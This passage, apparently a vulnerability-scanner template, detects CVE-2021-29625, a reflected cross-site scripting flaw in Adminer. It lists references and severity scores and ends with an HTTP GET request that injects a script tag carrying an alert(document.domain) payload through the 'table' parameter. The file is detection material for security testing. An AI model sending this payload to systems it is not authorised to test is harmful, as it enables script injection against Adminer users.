As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). reference: - https://sourceforge.net/p/adminer/bugs-and-features/797/ - https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7 - https://nvd.nist.gov/vuln/detail/CVE-2021-29625 - https://github.com/vrana/adminer/security/advisories/GHSA-2v82-5746-vwqc - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-29625 cwe-id: CWE-79 epss-score: 0.00222 epss-percentile: 0.60557 cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: adminer product: adminer tags: cve2021,cve,adminer,xss,sqli http: - method: GET path: - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a0047304502203bbedb78e2e0bddd6d7b3eefa0c1fca62d18deb2759881cb15089fbac64253a0022100cc7857e4cfd08807f6efcec5c623f04693979c11de46feee3edb0b5ec2ba53db:922c64590222798bb761d5b6d8e72950
